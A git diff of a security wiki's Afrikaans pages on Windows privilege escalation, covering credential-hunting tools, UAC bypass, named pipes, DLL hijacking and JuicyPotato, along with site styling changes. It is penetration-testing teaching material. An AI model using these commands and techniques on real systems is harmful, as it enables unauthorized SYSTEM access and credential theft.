Binne die CLSIDs van hierdie registrasie kan jy die kind registrasie **InProcServer32** vind wat 'n **verstekwaarde** bevat wat na 'n **DLL** verwys en 'n waarde genaamd **ThreadingModel** wat **Apartment** (Enkel-Draad), **Free** (Multi-Draad), **Both** (Enkel of Multi) of **Neutral** (Draad Neutraal) kan wees.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -1207,11 +1207,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
|
||||
```
|
||||
### Gereedskap wat soek na wagwoorde
|
||||
|
||||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is 'n msf** plugin wat ek geskep het om **automaties elke metasploit POST-module wat soek na kredensiale** binne die slagoffer uit te voer.\
|
||||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is 'n msf** plugin wat ek geskep het om hierdie plugin te **outomaties elke metasploit POST-module wat soek na kredensiale** binne die slagoffer uit te voer.\
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) soek outomaties na al die lêers wat wagwoorde bevat wat op hierdie bladsy genoem word.\
|
||||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) is 'n ander wonderlike hulpmiddel om wagwoorde uit 'n stelsel te onttrek.
|
||||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) is 'n ander uitstekende hulpmiddel om wagwoorde uit 'n stelsel te onttrek.
|
||||
|
||||
Die hulpmiddel [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) soek na **sessies**, **gebruikersname** en **wagwoorde** van verskeie gereedskap wat hierdie data in duidelike teks stoor (PuTTY, WinSCP, FileZilla, SuperPuTTY, en RDP)
|
||||
Die hulpmiddel [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) soek na **sessies**, **gebruikersname** en **wagwoorde** van verskeie hulpmiddels wat hierdie data in duidelike teks stoor (PuTTY, WinSCP, FileZilla, SuperPuTTY, en RDP)
|
||||
```bash
|
||||
Import-Module path\to\SessionGopher.ps1;
|
||||
Invoke-SessionGopher -Thorough
|
||||
@ -1233,13 +1233,13 @@ Windows bied 'n funksie genaamd **Genoemde Pype**, wat ongebonde prosesse toelaa
|
||||
|
||||
Wanneer data deur 'n pyp deur 'n **klient** gestuur word, het die **bediener** wat die pyp opgestel het die vermoë om die **identiteit** van die **klient** aan te neem, mits dit die nodige **SeImpersonate** regte het. Om 'n **voorregte proses** te identifiseer wat via 'n pyp kommunikeer wat jy kan naboots, bied 'n geleentheid om **hoër voorregte te verkry** deur die identiteit van daardie proses aan te neem sodra dit met die pyp waarmee jy werk, interaksie het. Vir instruksies oor hoe om so 'n aanval uit te voer, kan nuttige gidse gevind word [**hier**](named-pipe-client-impersonation.md) en [**hier**](./#from-high-integrity-to-system).
|
||||
|
||||
Ook die volgende hulpmiddel stel jou in staat om **'n genoem pyp kommunikasie met 'n hulpmiddel soos burp te onderskep:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **en hierdie hulpmiddel stel jou in staat om al die pype te lys en te sien om privescs te vind** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
Ook die volgende hulpmiddel laat jou toe om **'n genoem pyp kommunikasie met 'n hulpmiddel soos burp te onderskep:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **en hierdie hulpmiddel laat jou toe om al die pype te lys en te sien om privescs te vind** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
## Verskeie
|
||||
|
||||
### **Monitering van Opdraglyne vir wagwoorde**
|
||||
|
||||
Wanneer jy 'n shell as 'n gebruiker kry, mag daar geskeduleerde take of ander prosesse wees wat **akkrediteer op die opdraglyn**. Die onderstaande skrip vang prosesopdraglyne elke twee sekondes en vergelyk die huidige toestand met die vorige toestand, wat enige verskille uitset.
|
||||
Wanneer jy 'n shell as 'n gebruiker kry, mag daar geskeduleerde take of ander prosesse wees wat **akkrediteer op die opdraglyn**. Die onderstaande skrip vang proses opdraglyne elke twee sekondes en vergelyk die huidige toestand met die vorige toestand, wat enige verskille uitset.
|
||||
```powershell
|
||||
while($true)
|
||||
{
|
||||
@ -1253,9 +1253,9 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||||
|
||||
## Van Lae Privilege Gebruiker na NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
|
||||
|
||||
As jy toegang het tot die grafiese koppelvlak (via konsole of RDP) en UAC is geaktiveer, is dit in sommige weergawes van Microsoft Windows moontlik om 'n terminal of enige ander proses soos "NT\AUTHORITY SYSTEM" van 'n nie-bevoegde gebruiker te loop.
|
||||
As jy toegang het tot die grafiese koppelvlak (via konsole of RDP) en UAC is geaktiveer, is dit in sommige weergawes van Microsoft Windows moontlik om 'n terminal of enige ander proses soos "NT\AUTHORITY SYSTEM" van 'n nie-privilege gebruiker te loop.
|
||||
|
||||
Dit maak dit moontlik om bevoegdhede te verhoog en UAC terselfdertyd met dieselfde kwesbaarheid te omseil. Boonop is daar geen behoefte om enigiets te installeer nie en die binêre wat tydens die proses gebruik word, is onderteken en uitgegee deur Microsoft.
|
||||
Dit maak dit moontlik om privileges te eskaleer en UAC terselfdertyd met dieselfde kwesbaarheid te omseil. Boonop is daar geen behoefte om enigiets te installeer nie en die binêre wat tydens die proses gebruik word, is onderteken en uitgegee deur Microsoft.
|
||||
|
||||
Sommige van die geraakte stelsels is die volgende:
|
||||
```
|
||||
@ -1309,7 +1309,7 @@ Lees dit om **meer te leer oor Integriteitsvlakke**:
|
||||
integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
Lees dan **hierdie om meer te leer oor UAC en UAC-bypasses:**
|
||||
Lees dan **dit om meer te leer oor UAC en UAC-bypasses:**
|
||||
|
||||
{{#ref}}
|
||||
../authentication-credentials-uac-and-efs/uac-user-account-control.md
|
||||
@ -1319,7 +1319,7 @@ Lees dan **hierdie om meer te leer oor UAC en UAC-bypasses:**
|
||||
|
||||
### **Nuwe diens**
|
||||
|
||||
As u reeds op 'n Hoë Integriteitsproses loop, kan die **oorgang na SYSTEM** maklik wees deur net **'n nuwe diens te skep en uit te voer**:
|
||||
As u reeds op 'n Hoë Integriteit-proses loop, kan die **oorgang na SYSTEM** maklik wees deur eenvoudig **'n nuwe diens te skep en uit te voer**:
|
||||
```
|
||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||||
sc start newservicename
|
||||
@ -1341,18 +1341,20 @@ Die gebruik van hierdie tegniek behels gewoonlik **om enige proses wat as SYSTEM
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
Hierdie tegniek word deur meterpreter gebruik om in `getsystem` te eskaleer. Die tegniek bestaan uit **die skep van 'n pyp en dan 'n diens te skep/te misbruik om op daardie pyp te skryf**. Dan sal die **bediener** wat die pyp geskep het met die **`SeImpersonate`** privilege in staat wees om die **token** van die pyp kliënt (die diens) te **verpersoonlik** en SYSTEM privileges te verkry.\
|
||||
As jy wil [**meer leer oor naam pype moet jy dit lees**](./#named-pipe-client-impersonation).\
|
||||
As jy 'n voorbeeld wil lees van [**hoe om van hoë integriteit na System te gaan met naam pype moet jy dit lees**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
Hierdie tegniek word deur meterpreter gebruik om op te skaal in `getsystem`. Die tegniek bestaan uit **die skep van 'n pyp en dan 'n diens te skep/te misbruik om op daardie pyp te skryf**. Dan sal die **bediener** wat die pyp geskep het met die **`SeImpersonate`** privilege in staat wees om die **token** van die pyp kliënt (die diens) te **verpersoonlik** en SYSTEM privileges te verkry.\
|
||||
As jy wil [**meer leer oor naam pype, moet jy dit lees**](./#named-pipe-client-impersonation).\
|
||||
As jy 'n voorbeeld wil lees van [**hoe om van hoë integriteit na System te gaan met naam pype, moet jy dit lees**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
As jy daarin slaag om 'n **dll** te **hijack** wat deur 'n **proses** wat as **SYSTEM** loop, sal jy in staat wees om arbitrêre kode met daardie toestemmings uit te voer. Daarom is Dll Hijacking ook nuttig vir hierdie soort privilege eskalasie, en, verder, as dit **veel makliker is om te bereik vanuit 'n hoë integriteit proses** aangesien dit **skryftoestemmings** op die vouers het wat gebruik word om dlls te laai.\
|
||||
As jy daarin slaag om 'n **dll** te **hijack** wat deur 'n **proses** wat as **SYSTEM** loop, **gelaai** word, sal jy in staat wees om arbitrêre kode met daardie toestemmings uit te voer. Daarom is Dll Hijacking ook nuttig vir hierdie soort privilege eskalasie, en, verder, as dit **veel makliker is om te bereik vanuit 'n hoë integriteit proses** aangesien dit **skryftoestemmings** op die vouers het wat gebruik word om dlls te laai.\
|
||||
**Jy kan** [**meer leer oor Dll hijacking hier**](dll-hijacking/)**.**
|
||||
|
||||
### **From Administrator or Network Service to System**
|
||||
|
||||
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
|
||||
{{#ref}}
|
||||
https://github.com/sailay1996/RpcSsImpersonator
|
||||
{{#endref}}
|
||||
|
||||
### From LOCAL SERVICE or NETWORK SERVICE to full privs
|
||||
|
||||
@ -1364,18 +1366,18 @@ As jy daarin slaag om 'n **dll** te **hijack** wat deur 'n **proses** wat as **S
|
||||
|
||||
## Useful tools
|
||||
|
||||
**Beste hulpmiddel om te soek na Windows plaaslike privilege eskalasie vektore:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
**Beste hulpmiddel om na Windows plaaslike privilege eskalasie vektore te soek:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
**PS**
|
||||
|
||||
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
|
||||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Kontroleer vir miskonfigurasies en sensitiewe lêers (**[**kontroleer hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Gekies.**\
|
||||
[**JAWS**](https://github.com/411Hall/JAWS) **-- Kontroleer vir sommige moontlike miskonfigurasies en versamel inligting (**[**kontroleer hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
|
||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Kontroleer vir miskonfigurasies**\
|
||||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Kontroleer vir misconfigurasies en sensitiewe lêers (**[**kontroleer hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Gekies.**\
|
||||
[**JAWS**](https://github.com/411Hall/JAWS) **-- Kontroleer vir sommige moontlike misconfigurasies en versamel inligting (**[**kontroleer hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
|
||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Kontroleer vir misconfigurasies**\
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Dit onttrek PuTTY, WinSCP, SuperPuTTY, FileZilla, en RDP gestoor sessie inligting. Gebruik -Thorough in plaaslik.**\
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Onttrek kredensiale uit Credential Manager. Gekies.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spuit versamelde wagwoorde oor domein**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is 'n PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer en man-in-the-middle hulpmiddel.**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is 'n PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofing en man-in-the-middle hulpmiddel.**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basiese privesc Windows enumerasie**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Soek na bekende privesc kwesbaarhede (DEPRECATED vir Watson)\
|
||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Plaaslike kontroles **(Benodig Admin regte)**
|
||||
@ -1383,15 +1385,15 @@ As jy daarin slaag om 'n **dll** te **hijack** wat deur 'n **proses** wat as **S
|
||||
**Exe**
|
||||
|
||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Soek na bekende privesc kwesbaarhede (moet saamgestel word met VisualStudio) ([**vooraf saamgestel**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerates the host searching for misconfigurations (meer 'n versamel inligting hulpmiddel as privesc) (moet saamgestel word) **(**[**vooraf saamgestel**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerates die gasheer op soek na misconfigurasies (meer 'n inligting versamel hulpmiddel as privesc) (moet saamgestel word) **(**[**vooraf saamgestel**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Onttrek kredensiale uit baie sagteware (vooraf saamgestelde exe in github)**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port van PowerUp na C#**\
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Kontroleer vir miskonfigurasie (uitvoerbare vooraf saamgestelde in github). Nie aanbeveel nie. Dit werk nie goed in Win10.\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Kontroleer vir moontlike miskonfigurasies (exe van python). Nie aanbeveel nie. Dit werk nie goed in Win10.
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Kontroleer vir misconfigurasie (uitvoerbare vooraf saamgestelde in github). Nie aanbeveel. Dit werk nie goed in Win10.\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Kontroleer vir moontlike misconfigurasies (exe van python). Nie aanbeveel. Dit werk nie goed in Win10.
|
||||
|
||||
**Bat**
|
||||
|
||||
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Hulpmiddel geskep gebaseer op hierdie pos (dit benodig nie accesschk om behoorlik te werk nie, maar dit kan dit gebruik).
|
||||
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Hulpmiddel geskep gebaseer op hierdie pos (dit het nie toegangchk nodig om behoorlik te werk nie, maar dit kan dit gebruik).
|
||||
|
||||
**Local**
|
||||
|
||||
@ -1402,7 +1404,7 @@ As jy daarin slaag om 'n **dll** te **hijack** wat deur 'n **proses** wat as **S
|
||||
|
||||
_multi/recon/local_exploit_suggestor_
|
||||
|
||||
Jy moet die projek saamstel met die korrekte weergawe van .NET ([sien dit](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Om die geïnstalleerde weergawe van .NET op die slagoffer gasheer te sien kan jy doen:
|
||||
Jy moet die projek saamstel met die korrekte weergawe van .NET ([sien dit](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Om die geïnstalleerde weergawe van .NET op die slagoffer gasheer te sien, kan jy doen:
|
||||
```
|
||||
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
|
||||
```
|
||||
|
@ -2,8 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato werk nie** op Windows Server 2019 en Windows 10 weergawe 1809 en later nie. Tog kan [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) gebruik word om **die selfde voorregte te benut en `NT AUTHORITY\SYSTEM`** vlak toegang te verkry. _**Kontroleer:**_
|
||||
> [!WARNING] > **JuicyPotato werk nie** op Windows Server 2019 en Windows 10 weergawe 1809 en later nie. Tog kan [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) gebruik word om **die selfde voorregte te benut en `NT AUTHORITY\SYSTEM`** vlak toegang te verkry. _**Kontroleer:**_
|
||||
|
||||
{{#ref}}
|
||||
roguepotato-and-printspoofer.md
|
||||
@ -11,7 +10,7 @@ roguepotato-and-printspoofer.md
|
||||
|
||||
## Juicy Potato (misbruik van die goue voorregte) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
|
||||
_'n gesuikerde weergawe van_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, met 'n bietjie sap, d.w.s. **nog 'n Plaaslike Voorreg Escalation hulpmiddel, van 'n Windows Diensrekening na NT AUTHORITY\SYSTEM**_
|
||||
_'n Gesuikerde weergawe van_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, met 'n bietjie sap, d.w.s. **nog 'n Plaaslike Voorreg Escalation hulpmiddel, van 'n Windows Diens Rekeninge na NT AUTHORITY\SYSTEM**_
|
||||
|
||||
#### Jy kan juicypotato aflaai van [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
|
||||
@ -21,13 +20,13 @@ _'n gesuikerde weergawe van_ [_RottenPotatoNG_](https://github.com/breenmachine/
|
||||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) en sy [variantes](https://github.com/decoder-it/lonelypotato) benut die voorregte eskalasieketting gebaseer op [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [diens](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) wat die MiTM luisteraar op `127.0.0.1:6666` het en wanneer jy `SeImpersonate` of `SeAssignPrimaryToken` voorregte het. Tydens 'n Windows weergawe hersiening het ons 'n opstelling gevind waar `BITS` doelbewus gedeaktiveer was en poort `6666` geneem is.
|
||||
|
||||
Ons het besluit om [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) te wapen: **Sê hallo aan Juicy Potato**.
|
||||
Ons het besluit om [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) te wapen: **Sê hallo vir Juicy Potato**.
|
||||
|
||||
> Vir die teorie, sien [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) en volg die ketting van skakels en verwysings.
|
||||
|
||||
Ons het ontdek dat, behalwe `BITS`, daar 'n aantal COM bedieners is wat ons kan misbruik. Hulle moet net:
|
||||
|
||||
1. deur die huidige gebruiker instantiëerbaar wees, normaalweg 'n “diensgebruiker” wat impersonasie voorregte het
|
||||
1. deur die huidige gebruiker instantiëerbaar wees, normaalweg 'n “diens gebruiker” wat impersonasie voorregte het
|
||||
2. die `IMarshal`-koppelvlak implementeer
|
||||
3. as 'n verhoogde gebruiker (SYSTEM, Administrateur, …) loop
|
||||
|
||||
@ -41,13 +40,13 @@ JuicyPotato laat jou toe om:
|
||||
- **COM Luisterpoort** _definieer die COM luisterpoort wat jy verkies (in plaas van die gemarshalled hardcoded 6666)_
|
||||
- **COM Luister IP adres** _bind die bediener op enige IP_
|
||||
- **Proses skepping modus** _afhangende van die impersonasie gebruiker se voorregte kan jy kies uit:_
|
||||
- `CreateProcessWithToken` (het `SeImpersonate` nodig)
|
||||
- `CreateProcessAsUser` (het `SeAssignPrimaryToken` nodig)
|
||||
- `CreateProcessWithToken` (benodig `SeImpersonate`)
|
||||
- `CreateProcessAsUser` (benodig `SeAssignPrimaryToken`)
|
||||
- `albei`
|
||||
- **Proses om te begin** _begin 'n uitvoerbare of skrip as die uitbuiting slaag_
|
||||
- **Proses Argument** _pas die begin proses argumente aan_
|
||||
- **RPC Bediener adres** _vir 'n stealthy benadering kan jy autentiseer by 'n eksterne RPC bediener_
|
||||
- **RPC Bediener poort** _nuttig as jy wil autentiseer by 'n eksterne bediener en die vuurmuur blokkeer poort `135`…_
|
||||
- **RPC Server adres** _vir 'n stealthy benadering kan jy autentiseer by 'n eksterne RPC bediener_
|
||||
- **RPC Server poort** _nuttig as jy wil autentiseer by 'n eksterne bediener en die vuurmuur blokkeer poort `135`…_
|
||||
- **TOETS modus** _hoofsaaklik vir toetsdoeleindes, d.w.s. toets CLSIDs. Dit skep die DCOM en druk die gebruiker van die token. Sien_ [_hier vir toetsing_](http://ohpe.it/juicy-potato/Test/)
|
||||
|
||||
### Gebruik <a href="#usage" id="usage"></a>
|
||||
@ -69,7 +68,7 @@ Optional args:
|
||||
```
|
||||
### Finale gedagtes <a href="#final-thoughts" id="final-thoughts"></a>
|
||||
|
||||
[**Van juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||
[**Uit juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||
|
||||
As die gebruiker `SeImpersonate` of `SeAssignPrimaryToken` regte het, dan is jy **SYSTEM**.
|
||||
|
||||
@ -81,7 +80,7 @@ Van: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
||||
|
||||
## Voorbeelde
|
||||
|
||||
Let op: Besoek [hierdie bladsy](https://ohpe.it/juicy-potato/CLSID/) vir 'n lys van CLSIDs om te probeer.
|
||||
Nota: Besoek [hierdie bladsy](https://ohpe.it/juicy-potato/CLSID/) vir 'n lys van CLSIDs om te probeer.
|
||||
|
||||
### Kry 'n nc.exe omgekeerde skulp
|
||||
```
|
||||
@ -106,15 +105,17 @@ c:\Users\Public>
|
||||
|
||||
## CLSID Probleme
|
||||
|
||||
Dikwels werk die standaard CLSID wat JuicyPotato gebruik **nie** en die exploit misluk. Gewoonlik neem dit verskeie pogings om 'n **werkende CLSID** te vind. Om 'n lys CLSIDs te kry om vir 'n spesifieke bedryfstelsel te probeer, moet jy hierdie bladsy besoek:
|
||||
Dikwels werk die standaard CLSID wat JuicyPotato gebruik **nie** en die exploit misluk. Gewoonlik neem dit verskeie pogings om 'n **werkende CLSID** te vind. Om 'n lys van CLSIDs te kry om vir 'n spesifieke bedryfstelsel te probeer, moet jy hierdie bladsy besoek:
|
||||
|
||||
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
|
||||
{{#ref}}
|
||||
https://ohpe.it/juicy-potato/CLSID/
|
||||
{{#endref}}
|
||||
|
||||
### **Kontroleer CLSIDs**
|
||||
|
||||
Eerstens, jy sal 'n paar uitvoerbare lêers nodig hê behalwe juicypotato.exe.
|
||||
|
||||
Laai [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) af en laai dit in jou PS-sessie, en laai en voer [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) uit. Daardie skrip sal 'n lys moontlike CLSIDs skep om te toets.
|
||||
Laai [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) af en laai dit in jou PS-sessie, en laai en voer [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) uit. Daardie skrip sal 'n lys van moontlike CLSIDs skep om te toets.
|
||||
|
||||
Laai dan [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) af (verander die pad na die CLSID lys en na die juicypotato uitvoerbare lêer) en voer dit uit. Dit sal begin om elke CLSID te probeer, en **wanneer die poortnommer verander, sal dit beteken dat die CLSID gewerk het**.
|
||||
|
||||
|
@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
|
||||
}
|
||||
|
||||
/* Languages Menu Popup */
|
||||
|
||||
@media only screen and (max-width:799px) {
|
||||
#menubar-languages-toggle span {
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
|
||||
#menubar-languages-toggle {
|
||||
position: relative;
|
||||
}
|
||||
@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
|
||||
cursor: pointer;
|
||||
color: var(--fg);
|
||||
}
|
||||
@media only screen and (max-width:799px) {
|
||||
.menu-title {
|
||||
font-size: 1.4rem;
|
||||
}
|
||||
}
|
||||
|
||||
.menu-bar,
|
||||
.menu-bar:visited,
|
||||
@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
|
||||
color: var(--sidebar-fg);
|
||||
}
|
||||
}
|
||||
@media only screen and (min-width:1440px) {
|
||||
#sidebar-toggle{
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
@media only screen and (max-width:549px) {
|
||||
.sidebar {
|
||||
position: fixed;
|
||||
@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
|
||||
border-top: 1px solid var(--table-border-color);
|
||||
margin-top: 1rem;
|
||||
align-content: center;
|
||||
z-index: 101;
|
||||
z-index: 106;
|
||||
}
|
||||
.footer .theme-wrapper {
|
||||
max-width: var(--container-max-width);
|
||||
|
@ -343,8 +343,8 @@
|
||||
--warning-border: #ff8e00;
|
||||
|
||||
--table-border-color: #2f2f2f;
|
||||
--table-header-bg: hsl(226, 23%, 31%);
|
||||
--table-alternate-bg: hsl(226, 23%, 14%);
|
||||
--table-header-bg: #2f2f2f;
|
||||
--table-alternate-bg: #222222;
|
||||
|
||||
--searchbar-border-color: #2f2f2f;
|
||||
--searchbar-bg: hsl(0, 0%, 11%);
|
||||
@ -429,7 +429,7 @@
|
||||
--warning-border: #ff8e00;
|
||||
|
||||
--table-border-color: hsl(0, 0%, 95%);
|
||||
--table-header-bg: hsl(0, 0%, 80%);
|
||||
--table-header-bg: hsl(0, 0%, 95%);
|
||||
--table-alternate-bg: hsl(0, 0%, 97%);
|
||||
|
||||
--searchbar-border-color: #aaa;
|
||||
|
@ -176,10 +176,12 @@
|
||||
|
||||
<div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
|
||||
<i class="fa fa-globe"></i>
|
||||
<span class="menu-bar-link">Translations</span>
|
||||
|
||||
<div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
|
||||
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
|
||||
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
|
||||
<button id="en" role="menuitem" class="menu-bar-link">English</button>
|
||||
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
|
||||
<button id="fr" role="menuitem" class="menu-bar-link">French</button>
|
||||
<button id="de" role="menuitem" class="menu-bar-link">German</button>
|
||||
<button id="el" role="menuitem" class="menu-bar-link">Greek</button>
|
||||
@ -190,11 +192,10 @@
|
||||
<button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
|
||||
<button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
|
||||
<button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
|
||||
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
|
||||
<button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
|
||||
<button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
|
||||
<button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
|
||||
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
|
||||
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
@ -72,7 +72,7 @@
|
||||
.sidetoc-wrapper {
|
||||
position: fixed;
|
||||
width: 250px;
|
||||
height: calc(100vh - var(--menu-bar-height) - 25px * 2);
|
||||
height: calc(100vh - var(--menu-bar-height) - 50px * 2);
|
||||
overflow: auto;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
|
@ -1,68 +1,76 @@
|
||||
let scrollTimeout;
|
||||
let scrollTimeout
|
||||
|
||||
const listenActive = () => {
|
||||
const elems = document.querySelector(".pagetoc").children;
|
||||
[...elems].forEach(el => {
|
||||
const elems = document.querySelector(".pagetoc").children
|
||||
;[...elems].forEach((el) => {
|
||||
el.addEventListener("click", (event) => {
|
||||
clearTimeout(scrollTimeout);
|
||||
[...elems].forEach(el => el.classList.remove("active"));
|
||||
el.classList.add("active");
|
||||
clearTimeout(scrollTimeout)
|
||||
;[...elems].forEach((el) => el.classList.remove("active"))
|
||||
el.classList.add("active")
|
||||
// Prevent scroll updates for a short period
|
||||
scrollTimeout = setTimeout(() => {
|
||||
scrollTimeout = null;
|
||||
}, 100); // Adjust timing as needed
|
||||
});
|
||||
});
|
||||
};
|
||||
scrollTimeout = null
|
||||
}, 100) // Adjust timing as needed
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc();
|
||||
const getPagetoc = () =>
|
||||
document.querySelector(".pagetoc") || autoCreatePagetoc()
|
||||
|
||||
